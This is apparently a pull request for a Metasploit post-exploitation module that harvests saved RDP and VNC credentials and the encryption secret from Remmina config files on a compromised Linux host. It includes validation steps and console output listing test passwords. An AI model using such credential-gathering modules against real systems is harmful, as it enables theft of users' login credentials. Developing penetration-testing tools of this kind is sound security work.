Add Remmina RDP/SSH/VNC password gathering

This is a more recent version of #3599, which went south after a bad merge and trying to get things reworked to  use the new credentials model.

The other day I had to use Remmina, a utility on Linux that (among other things) supports Network Layer Authentication (NLA) for RDP.  The system in question was configured to only allow RDP with NLA so I had no choice but to use this client.  I was surprised to find that it saved my credentials and didn't use a keyring/etc. As it turns out, this is on purpose -- http://remmina.sourceforge.net/faq.shtml.  So I tossed together a module to rip out my creds, because the though of having to use a client that puts my credentials at risk just to connect to a *more* secure host just feels wrong. 

# Validation

 - [ ] Install Remmina (available for (at least) Ubuntu 12.04, OS X)
 - [ ] Start Remmina, add a few saved connections of different types
 - [ ] Run this module after getting a session.  In non-verbose mode:


Locally, this looks like:


```
sf post(remmina_creds) > run

Remmina Credentials
===================

 Host        Port  Service  User      Password
 ----        ----  -------  ----      --------
 rdp2        3389  rdp      rdpuser2  rdppass2
 rdp3        3389  rdp      rdpuser3  rdppass3
 rdphost1    3389  rdp      rdpuser1  rdppass1
 vncserver1  5900  vnc      vncuser1  vncpass1

[*] Post module execution completed
msf post(remmina_creds) > set VERBOSE true
VERBOSE => true
msf post(remmina_creds) > run

[*] Searching for Remmina creds in 38 user directories
[*] Extracted secret Y8jO4HRbVjdSL7XugAHiI0nujS7PjJf4jUj1qtueFD4= from /home/jhart/.remmina/remmina.pref
[-] No password in /home/jhart/.remmina/1406846543539.remmina
[-] No password in /home/jhart/.remmina/1406846324986.remmina
[+] Collected 4 sets of Remmina credentials
Remmina Credentials
===================

 Host        Port  Service  User      Password
 ----        ----  -------  ----      --------
 rdp2        3389  rdp      rdpuser2  rdppass2
 rdp3        3389  rdp      rdpuser3  rdppass3
 rdphost1    3389  rdp      rdpuser1  rdppass1
 vncserver1  5900  vnc      vncuser1  vncpass1

[*] Post module execution completed
```
I got this exception while testing:

```
msf post(remmina_creds) > sessions

Active sessions
===============

  Id  Type         Information  Connection
  --  ----         -----------  ----------
  3   shell linux               172.16.158.1:4444 -> 172.16.158.131:38598 (172.16.158.131)

msf post(remmina_creds) > run

[-] Post failed: NoMethodError undefined method `map' for "1416242085917.remmina\n1416242099045.remmina\nremmina.pref\n":String
[-] Call stack:
[-]   /Users/jvazquez/Projects/Code/metasploit-framework/modules/post/multi/gather/remmina_creds.rb:94:in `block in extract_all_creds'
[-]   /Users/jvazquez/Projects/Code/metasploit-framework/modules/post/multi/gather/remmina_creds.rb:78:in `each'
[-]   /Users/jvazquez/Projects/Code/metasploit-framework/modules/post/multi/gather/remmina_creds.rb:78:in `extract_all_creds'
[-]   /Users/jvazquez/Projects/Code/metasploit-framework/modules/post/multi/gather/remmina_creds.rb:31:in `run'
[*] Post module execution completed
```